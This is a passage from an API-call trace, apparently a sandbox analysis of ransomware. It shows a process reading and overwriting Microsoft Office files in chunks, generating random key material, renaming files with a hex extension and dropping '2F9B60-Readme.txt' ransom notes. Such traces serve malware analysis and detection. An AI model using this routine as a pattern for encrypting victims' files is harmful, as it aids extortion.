_Dest="36") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e28e, _Format="%c%c" | out: _Dest="1b") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e290, _Format="%c%c" | out: _Dest="04") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e292, _Format="%c%c" | out: _Dest="1b") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e294, _Format="%c%c" | out: _Dest="4a") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e296, _Format="%c%c" | out: _Dest="84") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e298, _Format="%c%c" | out: _Dest="15") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e29a, _Format="%c%c" | out: _Dest="35") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e29c, _Format="%c%c" | out: _Dest="28") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e29e, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e2a0, _Format="%c%c" | out: _Dest="79") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e2a2, _Format="%c%c" | out: _Dest="96") returned 2 [0218.871] sprintf (in: _Dest=0x1b79e2a4, _Format="%c%c" | out: _Dest="9a") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2a6, _Format="%c%c" | out: _Dest="52") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2a8, _Format="%c%c" | out: _Dest="90") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2aa, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2ac, _Format="%c%c" | out: _Dest="79") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2ae, _Format="%c%c" | out: _Dest="0e") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2b0, _Format="%c%c" | out: _Dest="56") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2b2, _Format="%c%c" | out: _Dest="f2") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2b4, _Format="%c%c" | out: _Dest="e5") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2b6, _Format="%c%c" | out: _Dest="15") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2b8, _Format="%c%c" | out: _Dest="62") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2ba, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2bc, _Format="%c%c" | out: _Dest="7a") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2be, _Format="%c%c" | out: _Dest="40") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2c0, _Format="%c%c" | out: _Dest="e6") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2c2, _Format="%c%c" | out: _Dest="6a") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2c4, _Format="%c%c" | out: _Dest="90") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2c6, _Format="%c%c" | out: _Dest="d5") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2c8, _Format="%c%c" | out: _Dest="91") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2ca, _Format="%c%c" | out: _Dest="76") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2cc, _Format="%c%c" | out: _Dest="a1") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2ce, _Format="%c%c" | out: _Dest="b1") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2d0, _Format="%c%c" | out: _Dest="78") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2d2, _Format="%c%c" | out: _Dest="74") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2d4, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.872] sprintf (in: _Dest=0x1b79e2d6, _Format="%c%c" | out: _Dest="a8") returned 2 [0218.873] sprintf (in: _Dest=0x1b79e2d8, _Format="%c%c" | out: _Dest="32") returned 2 [0218.873] sprintf (in: _Dest=0x1b79e2da, _Format="%c%c" | out: _Dest="d4") returned 2 [0218.873] sprintf (in: _Dest=0x1b79e2dc, _Format="%c%c" | out: _Dest="f1") returned 2 [0218.873] sprintf (in: _Dest=0x1b79e2de, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.873] sprintf (in: _Dest=0x1b79e2e0, _Format="%c%c" | out: _Dest="21") returned 2 [0218.873] sprintf (in: _Dest=0x1b79e2e2, _Format="%c%c" | out: _Dest="89") returned 2 [0218.873] RtlInitAnsiString (in: DestinationString=0x21e4f828, SourceString="968e6ab9561cfd25d6258bff0542361b041b4a841535287d79969a5290fa790e56f2e515624c7a40e66a90d59176a1b178747ba832d4f15a2189" | out: DestinationString="968e6ab9561cfd25d6258bff0542361b041b4a841535287d79969a5290fa790e56f2e515624c7a40e66a90d59176a1b178747ba832d4f15a2189") [0218.873] RtlAnsiStringToUnicodeString (in: DestinationString=0x21e4f7f8, SourceString="968e6ab9561cfd25d6258bff0542361b041b4a841535287d79969a5290fa790e56f2e515624c7a40e66a90d59176a1b178747ba832d4f15a2189", AllocateDestinationString=1 | out: DestinationString="968e6ab9561cfd25d6258bff0542361b041b4a841535287d79969a5290fa790e56f2e515624c7a40e66a90d59176a1b178747ba832d4f15a2189") returned 0x0 [0218.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78f180 [0218.874] wcscat (in: _Dest=0x167160, _Source="968e6ab9561cfd25d6258bff05423" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\968e6ab9561cfd25d6258bff05423") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\968e6ab9561cfd25d6258bff05423" [0218.874] wcscat (in: _Dest=0x167160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\968e6ab9561cfd25d6258bff05423.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\968e6ab9561cfd25d6258bff05423.2f9b60" [0218.874] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\968e6ab9561cfd25d6258bff05423.2f9b60", NtPathName=0x21e4f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\968e6ab9561cfd25d6258bff05423.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x136) returned 0x188990 [0222.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188990) returned 1 [0222.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43078000) returned 1 [0222.374] NtQueryInformationFile (in: FileHandle=0x2558, IoStatusBlock=0x21e4f838, FileInformation=0x21e4f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21e4f838, FileInformation=0x21e4f848) returned 0x0 [0222.374] NtSetInformationFile (FileHandle=0x2558, IoStatusBlock=0x21e4f838, FileInformation=0x21e4f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167160) returned 1 [0224.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f180) returned 1 [0224.473] FlushFileBuffers (hFile=0x2558) returned 1 [0224.639] CloseHandle (hObject=0x2558) returned 1 [0225.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf4) returned 0x1b78fc80 [0225.680] wcscpy (in: _Dest=0x1b78fc80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" [0225.680] wcscat (in: _Dest=0x1b78fc80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\2F9B60-Readme.txt" [0225.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\2f9b60-readme.txt")) returned 0xffffffff [0225.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2578 [0226.231] WriteFile (in: hFile=0x2578, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x21e4f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x21e4f6f0*=0xba9, lpOverlapped=0x0) returned 1 [0226.505] CloseHandle (hObject=0x2578) returned 1 [0227.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78fc80) returned 1 [0227.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0227.041] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0227.041] FindClose (in: hFindFile=0x1cd9df70 | out: hFindFile=0x1cd9df70) returned 1 [0227.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21530) returned 1 [0227.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776a10) returned 1 [0227.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 Thread: id = 2313 os_tid = 0x1c88 [0149.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml")) returned 0x20 [0149.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml", dwFileAttributes=0x20) returned 1 [0149.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bdc [0149.028] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2202fd80 | out: lpFileSize=0x2202fd80*=253407) returned 1 [0149.028] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x3dddb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.029] ReadFile (in: hFile=0x1bdc, lpBuffer=0x2202fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2202fd48, lpOverlapped=0x0 | out: lpBuffer=0x2202fd00*, lpNumberOfBytesRead=0x2202fd48*=0x4, lpOverlapped=0x0) returned 1 [0149.031] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0149.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8790 [0149.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0149.031] NtQuerySystemTime (in: CurrentTime=0x2202fc40 | out: CurrentTime=0x2202fc40*=132462177542602000) returned 0x0 [0149.031] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x7aadd113 [0149.031] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0xe2c9a7c [0149.031] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x19122372 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x3cb981bc [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x1c5544c0 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x30895ccd [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x2cc65f82 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x3383327d [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x5a119e26 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x4dee8ae1 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x19ceeab7 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x5abea042 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x49e2a43 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x3921211a [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x62ca6060 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x423e2757 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x6d9c1b76 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x20ad8910 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x73ae0c59 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x71e457e1 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x1aa10698 [0149.032] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x4bc379ba [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x2ce1070d [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x383ca95e [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x3c0a4859 [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x7bababe7 [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x68bd02a3 [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x5f13b72c [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0xcdfb69a [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x32ac4af5 [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x29461a76 [0149.033] RtlRandomEx (in: Seed=0x2202fc30 | out: Seed=0x2202fc30) returned 0x10d4475e [0149.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0149.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0149.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0149.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8760) returned 1 [0149.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2012e130 [0149.045] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.046] ReadFile (in: hFile=0x1bdc, lpBuffer=0x2012e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2202fca0, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesRead=0x2202fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0149.091] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0149.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0149.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8760) returned 1 [0149.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0149.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0149.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0149.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0149.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0149.094] WriteFile (hFile=0x1bdc, lpBuffer=0x41fc0d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2202fca0, lpOverlapped=0x0) [0194.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0194.361] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.361] ReadFile (in: hFile=0x1bdc, lpBuffer=0x2012e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2202fca0, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesRead=0x2202fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.531] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a43d0 [0194.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a43d0) returned 1 [0194.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4286cae0 [0194.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a43d0 [0194.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4310 [0194.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4310) returned 1 [0194.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.534] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4286cae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2202fca0, lpOverlapped=0x0 | out: lpBuffer=0x4286cae0*, lpNumberOfBytesWritten=0x2202fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4286cae0) returned 1 [0205.384] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.384] ReadFile (in: hFile=0x1bdc, lpBuffer=0x2012e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2202fca0, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesRead=0x2202fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.486] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0205.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262de0) returned 1 [0205.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42abcae0 [0205.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0205.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0205.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262450) returned 1 [0205.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.490] WriteFile (in: hFile=0x1bdc, lpBuffer=0x42abcae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2202fca0, lpOverlapped=0x0 | out: lpBuffer=0x42abcae0*, lpNumberOfBytesWritten=0x2202fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42abcae0) returned 1 [0215.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105440 [0215.002] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.002] WriteFile (in: hFile=0x1bdc, lpBuffer=0x19f320*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x2202fd50, lpOverlapped=0x0 | out: lpBuffer=0x19f320*, lpNumberOfBytesWritten=0x2202fd50*=0x16c, lpOverlapped=0x0) returned 1 [0219.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40d0 [0219.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb40d0) returned 1 [0219.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c120 [0219.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40d0 [0219.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40a0 [0219.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb40a0) returned 1 [0219.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x1b79e5f0 [0219.283] sprintf (in: _Dest=0x1b79e5f0, _Format="%c%c" | out: _Dest="56") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5f2, _Format="%c%c" | out: _Dest="61") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5f4, _Format="%c%c" | out: _Dest="97") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5f6, _Format="%c%c" | out: _Dest="6c") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5f8, _Format="%c%c" | out: _Dest="4c") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5fa, _Format="%c%c" | out: _Dest="39") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5fc, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e5fe, _Format="%c%c" | out: _Dest="a9") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e600, _Format="%c%c" | out: _Dest="aa") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e602, _Format="%c%c" | out: _Dest="01") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e604, _Format="%c%c" | out: _Dest="b1") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e606, _Format="%c%c" | out: _Dest="a1") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e608, _Format="%c%c" | out: _Dest="00") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e60a, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e60c, _Format="%c%c" | out: _Dest="d2") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e60e, _Format="%c%c" | out: _Dest="64") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e610, _Format="%c%c" | out: _Dest="71") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e612, _Format="%c%c" | out: _Dest="34") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e614, _Format="%c%c" | out: _Dest="fe") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e616, _Format="%c%c" | out: _Dest="ca") returned 2 [0219.283] sprintf (in: _Dest=0x1b79e618, _Format="%c%c" | out: _Dest="4a") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e61a, _Format="%c%c" | out: _Dest="a1") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e61c, _Format="%c%c" | out: _Dest="04") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e61e, _Format="%c%c" | out: _Dest="de") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e620, _Format="%c%c" | out: _Dest="3c") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e622, _Format="%c%c" | out: _Dest="62") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e624, _Format="%c%c" | out: _Dest="5e") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e626, _Format="%c%c" | out: _Dest="91") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e628, _Format="%c%c" | out: _Dest="16") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e62a, _Format="%c%c" | out: _Dest="b0") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e62c, _Format="%c%c" | out: _Dest="ad") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e62e, _Format="%c%c" | out: _Dest="e6") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e630, _Format="%c%c" | out: 